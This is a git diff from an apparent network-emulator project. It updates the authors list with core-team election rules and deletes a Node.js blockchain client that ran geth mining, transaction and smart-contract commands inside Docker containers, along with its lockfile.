diff --git a/.gitignore b/.gitignore index efbd70d72..58584c897 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ **/output/* +**/eth-states*/* **/__pycache__/* *.out *.o @@ -21,4 +22,4 @@ client/frontend/node_modules client/backend/node_modules client/backend/bin *.bin -output \ No newline at end of file +output diff --git a/AUTHORS.md b/AUTHORS.md index 99f9cb0ae..11e5558dc 100644 --- a/AUTHORS.md +++ b/AUTHORS.md @@ -16,14 +16,30 @@ name is available. Honghao Zeng (magicnat) ``` -## Lead Developers +## Core Developers ``` +(in the order of join time) + Wenliang Du (kevin-w-du) Honghao Zeng (magicnat) + Kyungrok Won (wonkr) ``` -## Developers +To elect a developer into the core team, one of the core team members needs to +make a proposal, presenting the case to the entire core team. The core team +will meet (online) and discuss the case. Eventually, the core team will vote. A +candidate winning at least two third of the votes will be elected. + +The membership of the core team +is not permanent. If a core team member is not actively engaged for a long +period of time, a member can propose to vote him/her out. The same procedure +will be followed, and two third of the votes are needed. +The founding members cannot be voted out. + + +## Contributors ``` (in alphabetical order) Keyi Li (kevin1993s) + Rawi Sader (RawinSader) ``` diff --git a/blockchain-client/src/.gitignore b/blockchain-client/src/.gitignore deleted file mode 100644 index 3c3629e64..000000000 --- a/blockchain-client/src/.gitignore +++ /dev/null @@ -1 +0,0 @@ -node_modules diff --git a/blockchain-client/src/DockerOdeWrapper.ts b/blockchain-client/src/DockerOdeWrapper.ts deleted file mode 100644 index 690963004..000000000 --- a/blockchain-client/src/DockerOdeWrapper.ts +++ /dev/null @@ -1,46 +0,0 @@ -const fs = require('fs'); -const helpers = require('./common/helpers.ts') - -const DockerOdeWrapper = { - docker: { - listContainers(dockerInstance) { - return new Promise((resolve, reject) => { - dockerInstance.listContainers((error, containers) => { - if(error) { - reject(error); - } else { - resolve(containers); - } - }); - }) - }, - getContainer(dockerInstance, id) { - return new Promise((resolve) => { - resolve(dockerInstance.getContainer(id)); - }); - }, - }, - container: { - exec(dockerInstance, container, command) { - return new Promise((resolve, reject) => { - container.exec({ Cmd: command.split(" "), AttachStdIn: true, AttachStdout: true}, (error, exec) => { - exec.start({hijack: true, stdin: false}, (err, stream) => { - if (error) { - console.log(`Command \"${command}\" failed to run`); - reject(err); - } else { - console.log(`Command \"${command}\" executed successfully`); - return helpers.demuxStream(stream) - .then((output) => { - return resolve(output) - }) - - } - }) - }) - }) - } - } -} - -module.exports = DockerOdeWrapper; diff --git a/blockchain-client/src/Dockerfile b/blockchain-client/src/Dockerfile deleted file mode 100644 index 151af946a..000000000 --- a/blockchain-client/src/Dockerfile +++ /dev/null @@ -1,6 +0,0 @@ -FROM node:14 -COPY start.sh / -WORKDIR /usr/src/app/blockchain-client/src -COPY . . -RUN npm i -ENTRYPOINT ["sh", "/start.sh"] diff --git a/blockchain-client/src/apis.ts b/blockchain-client/src/apis.ts deleted file mode 100644 index 3896b82de..000000000 --- a/blockchain-client/src/apis.ts +++ /dev/null @@ -1,51 +0,0 @@ -const apis = [ - { - name: "Get Accounts", - description: "Returns the list of ethereum accounts in the container.", - command: "getAccounts", - parameters: [] - }, - { - name: "Get Balance", - description: "Returns the balance of the account specified as parameter.", - command: "getBalance", - parameters: [{el: "input", name: "Account index", required: true}] - }, - { - name: "Set Etherbase", - description: "Sets the account which will be receiving ether when mining.", - command: "setEtherBase", - parameters: [{el: "input", name: "Account index", required: true}] - }, - { - name: "Get Coinbase", - description: "Returns the address of the account collecting ether when mining", - command: "getCoinBase", - }, - { - name: "Start Mining", - description: "Starts the mining process on the coinbase account.", - command: "startMiner", - parameters: [{el: "input", name: "Number of threads", required: false}] - }, - { - name: "Stop Mining", - description: "Stop the mining process.", - command: "stopMiner", - parameters: [] - }, - { - name: "Send Transaction", - description: "Send ether from one account to the other.", - command: "sendTransaction", - parameters: [{el: "input", name:"From address", required: true},{el: "input", name: "To address", required: true},{el: "input", name: "Value in ether", required: true}] - }, - { - name: "View Pending Transactions", - description: "View a list of pending transactions in the network.", - command: "viewPendingTransactions", - parameters: [] - } -] - -module.exports = apis; diff --git a/blockchain-client/src/commands.ts b/blockchain-client/src/commands.ts deleted file mode 100644 index d4ef15526..000000000 --- a/blockchain-client/src/commands.ts +++ /dev/null @@ -1,104 +0,0 @@ -const helpers = require('./common/helpers.ts') - -// @todo use the castGethParameters for all other commands -const commands = { - getAccounts() { - return "geth attach --exec eth.accounts" - }, - getBalance(account) { - account = account || 0; - return `geth attach --exec eth.getBalance(eth.accounts[${account}])` - }, - setDefaultAccount(account) { - account = account || 0; - // spaces matter here when writing the equality, remove the spaces. - return `geth attach --exec eth.defaultAccount=eth.accounts[${account}]` - }, - getDefaultAccount() { - return `geth attach --exec eth.defaultAccount` - }, - setEtherBase(account) { - account = account || 0 - return `geth attach --exec miner.setEtherbase(eth.accounts[${account}])` - }, - getCoinBase() { - return `geth attach --exec eth.coinbase` - }, - startMiner(threads) { - threads = threads || 20; - return `geth attach --exec miner.start(${threads})` - }, - stopMiner() { - return `geth attach --exec miner.stop()` - }, - sendTransaction(sender, receiver, amount) { - return `geth attach --exec eth.sendTransaction({from:"${sender}",to:"${receiver}",value:web3.toWei(${amount},\"ether\")})` - }, - viewPendingTransactions() { - return `geth attach --exec eth.pendingTransactions` - }, - deploySmartContract(account, abi, bytecode, params, value) { - abi = abi.replace(" ", "\t") - let base = `{from:"${account}",data:"${bytecode}",gas:1000000` - if(params.length) { - base = params +',' + base; - } - if(value) { - base += `,value:${value}` - } - base += '}' - - //if(params.length) { - // return `geth attach --exec eth.contract(${abi}).new(${params},{from:"${account}",data:"${bytecode}",gas:1000000})` - //} else { - // return `geth attach --exec eth.contract(${abi}).new()` - //} - return `geth attach --exec eth.contract(${abi}).new(${base})` - }, - getTransactionReceipt(hash) { - return `geth attach --exec eth.getTransactionReceipt("${hash}")` - }, - getContractByAddress(abi,address) { - abi = abi.replace(" ", "\t") - return `geth attach --exec eth.contract(${abi}).at("${address}")` - }, - invokeContractFunction(funcInfo, parameters, additional=[]) { - const {funcName, payable} = funcInfo - const [defaultAccount, {abi, address}, value] = additional; - const parameterString = this.generateCallString(parameters, {payable, value}) - const tail = this.options.call ? '.call' + parameterString : parameterString; - - sanitizedAbi = abi.replace(" ", "\t") - - return `geth attach --exec eth.defaultAccount="${defaultAccount}";` + - `sc=eth.contract(${sanitizedAbi}).at("${address}");` + - `sc["${funcName}"]${tail}` - }, - generateCallString(parameters=[], options={}) { - let command = "(" - if(parameters.length) { - let i = 0; - command += `"${parameters[i].value}"` - for(i = 1; i < parameters.length; i++) { - command+=`,"${parameters[i].value}"`; - } - } - if(options.payable) { - const stringObj = `{value:${options.value * Math.pow(10,18)}}` - command += parameters.length ?`,${stringObj}` : stringObj - } - command += ")" - return command; - } - -} - -function getCommand(name, params=[], options={}) { - if(commands[name]) { - commands.options = options - //console.log("spread params are: ", ...params) - return commands[name](...params) - } -} - -module.exports = getCommand diff --git a/blockchain-client/src/common/helpers.ts b/blockchain-client/src/common/helpers.ts deleted file mode 100644 index 873c3de03..000000000 --- a/blockchain-client/src/common/helpers.ts +++ /dev/null @@ -1,68 +0,0 @@ -const helpers = { - - demuxStream(stream, output, error) { - return new Promise((resolve, reject) => { - let output = ''; - let error = ''; - let nextDataType = null; - let nextDataLength = null; - let buffer = Buffer.from(''); - function processData(data) { - if (data) { - buffer = Buffer.concat([buffer, data]); - } - if (!nextDataType) { - if (buffer.length >= 8) { - let header = bufferSlice(8); - nextDataType = header.readUInt8(0); - nextDataLength = header.readUInt32BE(4); - // It's possible we got a "data" that contains multiple messages - // Process the next one - processData(); - } - } else { - if (buffer.length >= nextDataLength) { - let content = bufferSlice(nextDataLength); - if (nextDataType === 1) { - output += content; - } else { - error += content - } - nextDataType = null; - // It's possible we got a "data" that contains multiple messages - // Process the next one - processData(); - } - } - } - - function bufferSlice(end) { - let out = buffer.slice(0, end); - buffer = Buffer.from(buffer.slice(end, buffer.length)); - return out; - } - stream.on('data', (data) => { - processData(data) - }) - stream.on('end', () => { - resolve(output) - }) - }) - }, - regex: /([{,]\s*)(\S+)\s*(:)/mg, - stringToJsonString(s) { - console.log("converting string: ", s) - return s.replace(this.regex, '$1"$2"$3') - }, - sanitizeGethStreamString(s) { - return s.replace(/\.\.\./g, "").replace(/function\(\)/g, "\"function()\"").replace(/undefined/g, null) - }, - castGethParameters(value, type) { - if(type === 'string' || type === 'address') { - return `"${value}"` - } - return value - } -} - -module.exports = helpers; diff --git a/blockchain-client/src/docker-compose.yml b/blockchain-client/src/docker-compose.yml deleted file mode 100644 index 4b19cb247..000000000 --- a/blockchain-client/src/docker-compose.yml +++ /dev/null @@ -1,10 +0,0 @@ -version: "3" - -services: - seedemu-eth-client: - build: . - container_name: seedemu-eth-client - volumes: - - /var/run/docker.sock:/var/run/docker.sock - ports: - - 3000:3000 diff --git a/blockchain-client/src/docker/index.ts b/blockchain-client/src/docker/index.ts deleted file mode 100644 index 1d7713314..000000000 --- a/blockchain-client/src/docker/index.ts +++ /dev/null @@ -1,5 +0,0 @@ -const Docker = require('dockerode') - -const docker = new Docker(); - -module.exports = docker; diff --git a/blockchain-client/src/index.ts b/blockchain-client/src/index.ts deleted file mode 100644 index b8c48c69d..000000000 --- a/blockchain-client/src/index.ts +++ /dev/null @@ -1,25 +0,0 @@ -const express = require('express'); -const handlebars = require('express-handlebars'); -const path = require('path'); -const bodyParser = require('body-parser'); - -const app = express(); -const port = process.env.PORT; - -const indexRouter = require('./routes/index.ts'); -const smartContractRouter = require('./routes/smartcontracts.ts'); - -app.engine('handlebars', handlebars()); -app.set('view engine', 'handlebars'); - -app.use(express.static(path.join(__dirname, "/public"))); -app.use(bodyParser.urlencoded({extended: false})) -app.use(bodyParser.json()) - -app.use('/', indexRouter); -app.use('/smartcontracts', smartContractRouter); - - -app.listen(port, () => { - console.log(`server started at http://localhost:${port}`) -}) diff --git a/blockchain-client/src/package-lock.json b/blockchain-client/src/package-lock.json deleted file mode 100644 index f3a6b0d15..000000000 --- a/blockchain-client/src/package-lock.json +++ /dev/null @@ -1,763 +0,0 @@ -{ - "name": "src", - "version": "1.0.0", - "lockfileVersion": 1, - "requires": true, - "dependencies": { - "accepts": { - "version": "1.3.7", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", - "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", - "requires": { - "mime-types": "~2.1.24", - "negotiator": "0.6.2" - } - }, - "array-flatten": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" - }, - "asn1": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", - "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", - "requires": { - "safer-buffer": "~2.1.0" - } - }, - "balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" - }, - "base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" - }, - "bcrypt-pbkdf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", - "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", - "requires": { - "tweetnacl": "^0.14.3" - } - }, - "bl": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", - "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", - "requires": { - "buffer": "^5.5.0", - "inherits": "^2.0.4", - "readable-stream": "^3.4.0" - } - }, - "body-parser": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", - "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", - "requires": { - "bytes": "3.1.0", - "content-type": "~1.0.4", - "debug": "2.6.9", - "depd": "~1.1.2", - "http-errors": "1.7.2", - "iconv-lite": "0.4.24", - "on-finished": "~2.3.0", - "qs": "6.7.0", - "raw-body": "2.4.0", - "type-is": "~1.6.17" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" - } - } - }, - "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "buffer": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", - "requires": { - "base64-js": "^1.3.1", - "ieee754": "^1.1.13" - } - }, - "bytes": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", - "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" - }, - "chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" - }, - "concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" - }, - "content-disposition": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", - "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", - "requires": { - "safe-buffer": "5.1.2" - }, - "dependencies": { - "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" - } - } - }, - "content-type": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", - "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" - }, - "cookie": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", - "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" - }, - "cookie-signature": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", - "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" - }, - "cpu-features": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/cpu-features/-/cpu-features-0.0.2.tgz", - "integrity": "sha512-/2yieBqvMcRj8McNzkycjW2v3OIUOibBfd2dLEJ0nWts8NobAxwiyw9phVNS6oDL8x8tz9F7uNVFEVpJncQpeA==", - "optional": true, - "requires": { - "nan": "^2.14.1" - } - }, - "debug": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", - "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", - "requires": { - "ms": "2.1.2" - } - }, - "depd": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", - "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" - }, - "destroy": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", - "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" - }, - "docker-modem": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-3.0.3.tgz", - "integrity": "sha512-Tgkn2a+yiNP9FoZgMa/D9Wk+D2Db///0KOyKSYZRJa8w4+DzKyzQMkczKSdR/adQ0x46BOpeNkoyEOKjPhCzjw==", - "requires": { - "debug": "^4.1.1", - "readable-stream": "^3.5.0", - "split-ca": "^1.0.1", - "ssh2": "^1.4.0" - } - }, - "dockerode": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/dockerode/-/dockerode-3.3.1.tgz", - "integrity": "sha512-AS2mr8Lp122aa5n6d99HkuTNdRV1wkkhHwBdcnY6V0+28D3DSYwhxAk85/mM9XwD3RMliTxyr63iuvn5ZblFYQ==", - "requires": { - "docker-modem": "^3.0.0", - "tar-fs": "~2.0.1" - } - }, - "ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" - }, - "encodeurl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", - "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" - }, - "end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", - "requires": { - "once": "^1.4.0" - } - }, - "escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" - }, - "etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" - }, - "express": { - "version": "4.17.1", - "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", - "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", - "requires": { - "accepts": "~1.3.7", - "array-flatten": "1.1.1", - "body-parser": "1.19.0", - "content-disposition": "0.5.3", - "content-type": "~1.0.4", - "cookie": "0.4.0", - "cookie-signature": "1.0.6", - "debug": "2.6.9", - "depd": "~1.1.2", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "~1.1.2", - "fresh": "0.5.2", - "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "~2.3.0", - "parseurl": "~1.3.3", - "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.5", - "qs": "6.7.0", - "range-parser": "~1.2.1", - "safe-buffer": "5.1.2", - "send": "0.17.1", - "serve-static": "1.14.1", - "setprototypeof": "1.1.1", - "statuses": "~1.5.0", - "type-is": "~1.6.18", - "utils-merge": "1.0.1", - "vary": "~1.1.2" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" - }, - "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" - } - } - }, - "express-handlebars": { - "version": "5.3.4", - "resolved": "https://registry.npmjs.org/express-handlebars/-/express-handlebars-5.3.4.tgz", - "integrity": "sha512-b36grfkbXZItLLQV6cwzA20o6Zg4Eckke3PjHF4EGQIQLGs5IPMjpAxepdGb45A/bECekXzA9STzNqvEgrdRPw==", - "requires": { - "glob": "^7.2.0", - "graceful-fs": "^4.2.7", - "handlebars": "^4.7.7" - } - }, - "finalhandler": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", - "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", - "requires": { - "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "~2.3.0", - "parseurl": "~1.3.3", - "statuses": "~1.5.0", - "unpipe": "~1.0.0" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" - } - } - }, - "forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" - }, - "fresh": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" - }, - "fs-constants": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" - }, - "fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" - }, - "glob": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", - "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "graceful-fs": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", - "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" - }, - "handlebars": { - "version": "4.7.7", - "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.7.tgz", - "integrity": "sha512-aAcXm5OAfE/8IXkcZvCepKU3VzW1/39Fb5ZuqMtgI/hT8X2YgoMvBY5dLhq/cpOvw7Lk1nK/UF71aLG/ZnVYRA==", - "requires": { - "minimist": "^1.2.5", - "neo-async": "^2.6.0", - "source-map": "^0.6.1", - "uglify-js": "^3.1.4", - "wordwrap": "^1.0.0" - } - }, - "http-errors": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", - "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", - "requires": { - "depd": "~1.1.2", - "inherits": "2.0.3", - "setprototypeof": "1.1.1", - "statuses": ">= 1.5.0 < 2", - "toidentifier": "1.0.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" - } - } - }, - "iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "requires": { - "safer-buffer": ">= 2.1.2 < 3" - } - }, - "ieee754": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" - }, - "inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "requires": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - }, - "ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" - }, - "media-typer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" - }, - "merge-descriptors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", - "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" - }, - "methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" - }, - "mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" - }, - "mime-db": { - "version": "1.50.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.50.0.tgz", - "integrity": "sha512-9tMZCDlYHqeERXEHO9f/hKfNXhre5dK2eE/krIvUjZbS2KPcqGDfNShIWS1uW9XOTKQKqK6qbeOci18rbfW77A==" - }, - "mime-types": { - "version": "2.1.33", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.33.tgz", - "integrity": "sha512-plLElXp7pRDd0bNZHw+nMd52vRYjLwQjygaNg7ddJ2uJtTlmnTCjWuPKxVu6//AdaRuME84SvLW91sIkBqGT0g==", - "requires": { - "mime-db": "1.50.0" - } - }, - "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - 